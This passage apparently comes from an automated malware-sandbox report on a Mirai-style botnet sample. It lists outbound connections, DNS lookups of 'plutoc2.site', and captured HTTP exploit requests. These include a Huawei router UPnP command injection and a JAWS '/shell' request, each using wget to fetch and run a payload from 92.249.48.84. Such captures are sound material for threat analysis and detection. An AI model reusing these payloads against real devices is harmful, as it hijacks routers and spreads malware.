Oct 14, 2024 17:30:15.924590111 CEST	54042	443	192.168.2.14	202.189.137.83
Oct 14, 2024 17:30:15.924588919 CEST	54042	443	192.168.2.14	2.112.113.35
Oct 14, 2024 17:30:15.924592018 CEST	54042	443	192.168.2.14	2.82.77.198
Oct 14, 2024 17:30:15.924595118 CEST	54042	443	192.168.2.14	148.224.171.213
Oct 14, 2024 17:30:15.924598932 CEST	54042	443	192.168.2.14	178.235.23.169
Oct 14, 2024 17:30:15.924598932 CEST	54042	443	192.168.2.14	2.149.32.250
Oct 14, 2024 17:30:15.924611092 CEST	54042	443	192.168.2.14	148.124.102.127
Oct 14, 2024 17:30:15.924611092 CEST	54042	443	192.168.2.14	117.229.187.156
Oct 14, 2024 17:30:15.924611092 CEST	54042	443	192.168.2.14	5.182.68.7
Oct 14, 2024 17:30:15.924611092 CEST	54042	443	192.168.2.14	2.12.82.67
Oct 14, 2024 17:30:15.924612045 CEST	54042	443	192.168.2.14	2.103.222.140
Oct 14, 2024 17:30:15.924612045 CEST	54042	443	192.168.2.14	5.238.38.39
Oct 14, 2024 17:30:15.924612045 CEST	54042	443	192.168.2.14	202.110.74.63
Oct 14, 2024 17:30:15.924612045 CEST	54042	443	192.168.2.14	123.105.91.19
Oct 14, 2024 17:30:15.924612045 CEST	54042	443	192.168.2.14	118.96.180.0
Oct 14, 2024 17:30:15.924619913 CEST	54042	443	192.168.2.14	178.217.7.18
Oct 14, 2024 17:30:15.924622059 CEST	54042	443	192.168.2.14	42.255.113.224
Oct 14, 2024 17:30:15.924622059 CEST	54042	443	192.168.2.14	123.39.181.28
Oct 14, 2024 17:30:15.924629927 CEST	54042	443	192.168.2.14	2.193.88.11
Oct 14, 2024 17:30:15.924633980 CEST	54042	443	192.168.2.14	118.50.92.230
Oct 14, 2024 17:30:15.924640894 CEST	54042	443	192.168.2.14	94.244.127.221
Oct 14, 2024 17:30:15.924644947 CEST	54042	443	192.168.2.14	123.60.245.169
Oct 14, 2024 17:30:15.924652100 CEST	54042	443	192.168.2.14	178.99.145.151
Oct 14, 2024 17:30:15.924653053 CEST	54042	443	192.168.2.14	123.81.233.215
Oct 14, 2024 17:30:15.924663067 CEST	54042	443	192.168.2.14	123.229.51.30
Oct 14, 2024 17:30:15.924669981 CEST	54042	443	192.168.2.14	210.163.174.149
Oct 14, 2024 17:30:15.924671888 CEST	54042	443	192.168.2.14	42.25.111.209
Oct 14, 2024 17:30:15.924680948 CEST	54042	443	192.168.2.14	210.1.126.179
Oct 14, 2024 17:30:15.924680948 CEST	54042	443	192.168.2.14	109.46.121.109
Oct 14, 2024 17:30:15.924689054 CEST	54042	443	192.168.2.14	178.157.142.67
Oct 14, 2024 17:30:15.924695015 CEST	54042	443	192.168.2.14	109.5.129.166
Oct 14, 2024 17:30:15.924694061 CEST	54042	443	192.168.2.14	123.146.22.12
Oct 14, 2024 17:30:15.924695969 CEST	54042	443	192.168.2.14	118.49.78.180
Oct 14, 2024 17:30:15.924695015 CEST	54042	443	192.168.2.14	117.172.226.215
Oct 14, 2024 17:30:15.924694061 CEST	54042	443	192.168.2.14	79.76.152.242
Oct 14, 2024 17:30:15.924710035 CEST	54042	443	192.168.2.14	2.239.217.218
Oct 14, 2024 17:30:15.924712896 CEST	54042	443	192.168.2.14	210.62.76.110
Oct 14, 2024 17:30:15.924712896 CEST	54042	443	192.168.2.14	94.182.172.82
Oct 14, 2024 17:30:15.924715042 CEST	54042	443	192.168.2.14	109.232.210.46
Oct 14, 2024 17:30:15.924716949 CEST	54042	443	192.168.2.14	5.60.252.219
Oct 14, 2024 17:30:15.924724102 CEST	54042	443	192.168.2.14	117.210.214.250
Oct 14, 2024 17:30:15.924731970 CEST	54042	443	192.168.2.14	2.238.129.86
Oct 14, 2024 17:30:15.924740076 CEST	54042	443	192.168.2.14	42.144.207.60
Oct 14, 2024 17:30:15.924741030 CEST	54042	443	192.168.2.14	2.77.35.45
Oct 14, 2024 17:30:15.924743891 CEST	54042	443	192.168.2.14	178.66.61.140
Oct 14, 2024 17:30:15.924746037 CEST	54042	443	192.168.2.14	202.224.133.93
Oct 14, 2024 17:30:15.924751043 CEST	54042	443	192.168.2.14	37.80.237.147
Oct 14, 2024 17:30:15.924751997 CEST	54042	443	192.168.2.14	148.27.54.169
Oct 14, 2024 17:30:15.924763918 CEST	54042	443	192.168.2.14	2.197.188.63
Oct 14, 2024 17:30:15.924765110 CEST	54042	443	192.168.2.14	178.67.134.102
Oct 14, 2024 17:30:15.924765110 CEST	54042	443	192.168.2.14	37.191.197.67
Oct 14, 2024 17:30:15.924774885 CEST	54042	443	192.168.2.14	212.26.150.166
Oct 14, 2024 17:30:15.924777985 CEST	54042	443	192.168.2.14	148.201.95.159
Oct 14, 2024 17:30:15.924784899 CEST	54042	443	192.168.2.14	42.208.48.61
Oct 14, 2024 17:30:15.924784899 CEST	54042	443	192.168.2.14	94.221.83.90
Oct 14, 2024 17:30:15.924787998 CEST	54042	443	192.168.2.14	5.224.156.210
Oct 14, 2024 17:30:15.924791098 CEST	54042	443	192.168.2.14	94.243.16.182
Oct 14, 2024 17:30:15.924799919 CEST	54042	443	192.168.2.14	42.158.159.157
Oct 14, 2024 17:30:15.924803019 CEST	54042	443	192.168.2.14	94.158.236.243
Oct 14, 2024 17:30:15.924813986 CEST	54042	443	192.168.2.14	109.120.25.194
Oct 14, 2024 17:30:15.924818993 CEST	54042	443	192.168.2.14	5.188.225.46
Oct 14, 2024 17:30:15.924819946 CEST	54042	443	192.168.2.14	148.144.49.135
Oct 14, 2024 17:30:15.924819946 CEST	54042	443	192.168.2.14	210.193.249.251
Oct 14, 2024 17:30:15.924829960 CEST	54042	443	192.168.2.14	2.26.101.4
Oct 14, 2024 17:30:15.924837112 CEST	54042	443	192.168.2.14	178.248.60.191
Oct 14, 2024 17:30:15.924838066 CEST	54042	443	192.168.2.14	212.215.103.21
Oct 14, 2024 17:30:15.924839973 CEST	54042	443	192.168.2.14	37.3.64.35
Oct 14, 2024 17:30:15.924839973 CEST	54042	443	192.168.2.14	94.213.163.240
Oct 14, 2024 17:30:15.924858093 CEST	54042	443	192.168.2.14	123.11.238.157
Oct 14, 2024 17:30:15.924860954 CEST	54042	443	192.168.2.14	202.45.99.168
Oct 14, 2024 17:30:15.924860954 CEST	54042	443	192.168.2.14	117.77.255.73
Oct 14, 2024 17:30:15.924864054 CEST	54042	443	192.168.2.14	212.252.154.106
Oct 14, 2024 17:30:15.924864054 CEST	54042	443	192.168.2.14	117.99.29.56
Oct 14, 2024 17:30:15.924865961 CEST	54042	443	192.168.2.14	123.115.39.134
Oct 14, 2024 17:30:15.924875021 CEST	54042	443	192.168.2.14	212.136.177.136
Oct 14, 2024 17:30:15.924889088 CEST	54042	443	192.168.2.14	79.209.90.208
Oct 14, 2024 17:30:15.924892902 CEST	54042	443	192.168.2.14	148.66.37.73
Oct 14, 2024 17:30:15.924895048 CEST	54042	443	192.168.2.14	210.118.10.6
Oct 14, 2024 17:30:15.924902916 CEST	54042	443	192.168.2.14	79.2.204.212
Oct 14, 2024 17:30:15.924902916 CEST	54042	443	192.168.2.14	94.210.244.151
Oct 14, 2024 17:30:15.924902916 CEST	54042	443	192.168.2.14	178.122.129.89
Oct 14, 2024 17:30:15.924911022 CEST	54042	443	192.168.2.14	37.196.59.8
Oct 14, 2024 17:30:15.924920082 CEST	54042	443	192.168.2.14	94.36.51.220
Oct 14, 2024 17:30:15.924920082 CEST	54042	443	192.168.2.14	178.253.58.6
Oct 14, 2024 17:30:15.924920082 CEST	54042	443	192.168.2.14	178.96.148.13
Oct 14, 2024 17:30:15.924927950 CEST	54042	443	192.168.2.14	94.146.207.112
Oct 14, 2024 17:30:15.924941063 CEST	54042	443	192.168.2.14	123.146.109.146
Oct 14, 2024 17:30:15.924941063 CEST	54042	443	192.168.2.14	5.227.220.135
Oct 14, 2024 17:30:15.924941063 CEST	54042	443	192.168.2.14	5.226.83.205
Oct 14, 2024 17:30:15.924942970 CEST	54042	443	192.168.2.14	178.114.123.139
Oct 14, 2024 17:30:15.924943924 CEST	54042	443	192.168.2.14	42.238.151.38
Oct 14, 2024 17:30:15.924951077 CEST	54042	443	192.168.2.14	37.113.56.201
Oct 14, 2024 17:30:15.924959898 CEST	54042	443	192.168.2.14	2.2.205.56
Oct 14, 2024 17:30:15.924962044 CEST	54042	443	192.168.2.14	202.101.104.176
Oct 14, 2024 17:30:15.924967051 CEST	54042	443	192.168.2.14	118.2.32.5
Oct 14, 2024 17:30:15.924973011 CEST	54042	443	192.168.2.14	94.178.198.24
Oct 14, 2024 17:30:15.924973965 CEST	54042	443	192.168.2.14	123.14.57.120
Oct 14, 2024 17:30:15.924973011 CEST	54042	443	192.168.2.14	123.84.178.247
Oct 14, 2024 17:30:15.924976110 CEST	54042	443	192.168.2.14	117.11.17.253
Oct 14, 2024 17:30:15.924983978 CEST	54042	443	192.168.2.14	94.91.139.55
Oct 14, 2024 17:30:15.924983978 CEST	54042	443	192.168.2.14	118.155.176.169
Oct 14, 2024 17:30:15.924983978 CEST	54042	443	192.168.2.14	109.10.65.143
Oct 14, 2024 17:30:15.924993038 CEST	54042	443	192.168.2.14	2.62.154.18
Oct 14, 2024 17:30:15.924994946 CEST	54042	443	192.168.2.14	118.52.165.185
Oct 14, 2024 17:30:15.924995899 CEST	54042	443	192.168.2.14	117.140.12.215
Oct 14, 2024 17:30:15.924995899 CEST	54042	443	192.168.2.14	79.208.78.240
Oct 14, 2024 17:30:15.925007105 CEST	54042	443	192.168.2.14	2.158.187.96
Oct 14, 2024 17:30:15.925009966 CEST	54042	443	192.168.2.14	109.240.106.147
Oct 14, 2024 17:30:15.925009966 CEST	54042	443	192.168.2.14	118.176.246.56
Oct 14, 2024 17:30:15.925012112 CEST	54042	443	192.168.2.14	148.238.180.110
Oct 14, 2024 17:30:15.925013065 CEST	54042	443	192.168.2.14	118.1.181.122
Oct 14, 2024 17:30:15.925023079 CEST	54042	443	192.168.2.14	109.93.192.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 14, 2024 17:30:06.889530897 CEST	192.168.2.14	8.8.8.8	0xde27	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:29.312774897 CEST	192.168.2.14	8.8.8.8	0x55b0	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:51.718528032 CEST	192.168.2.14	8.8.8.8	0x2e35	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:14.154828072 CEST	192.168.2.14	8.8.8.8	0xe650	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:36.561737061 CEST	192.168.2.14	8.8.8.8	0x977a	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:58.986027956 CEST	192.168.2.14	8.8.8.8	0xa439	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 14, 2024 17:30:06.946856976 CEST	8.8.8.8	192.168.2.14	0xde27	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:06.946856976 CEST	8.8.8.8	192.168.2.14	0xde27	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:29.338494062 CEST	8.8.8.8	192.168.2.14	0x55b0	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:29.338494062 CEST	8.8.8.8	192.168.2.14	0x55b0	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:51.779426098 CEST	8.8.8.8	192.168.2.14	0x2e35	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:30:51.779426098 CEST	8.8.8.8	192.168.2.14	0x2e35	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:14.177373886 CEST	8.8.8.8	192.168.2.14	0xe650	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:14.177373886 CEST	8.8.8.8	192.168.2.14	0xe650	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:36.613158941 CEST	8.8.8.8	192.168.2.14	0x977a	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:36.613158941 CEST	8.8.8.8	192.168.2.14	0x977a	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:59.010894060 CEST	8.8.8.8	192.168.2.14	0xa439	No error (0)	plutoc2.site	104.248.138.112	A (IP address)	IN (0x0001)	false
Oct 14, 2024 17:31:59.010894060 CEST	8.8.8.8	192.168.2.14	0xa439	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	36872	41.176.3.68	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:11.927966118 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	47074	41.127.252.72	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:11.938385010 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	53014	156.90.211.100	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:12.922167063 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	37098	62.176.2.9	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:14.220666885 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	33146	96.216.253.77	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:15.262085915 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	39662	32.99.21.186	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:15.262123108 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	45276	41.243.143.78	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.165254116 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	59928	183.12.103.38	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167464972 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	38078	208.52.168.85	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167550087 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	35258	69.71.62.111	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167587996 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	44306	210.12.192.106	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167587996 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	46168	117.124.14.241	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167629957 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	40036	65.84.148.249	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167644024 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	38728	69.70.116.30	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.167670012 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	57804	31.209.245.244	80

Timestamp	Bytes transferred	Direction	Data
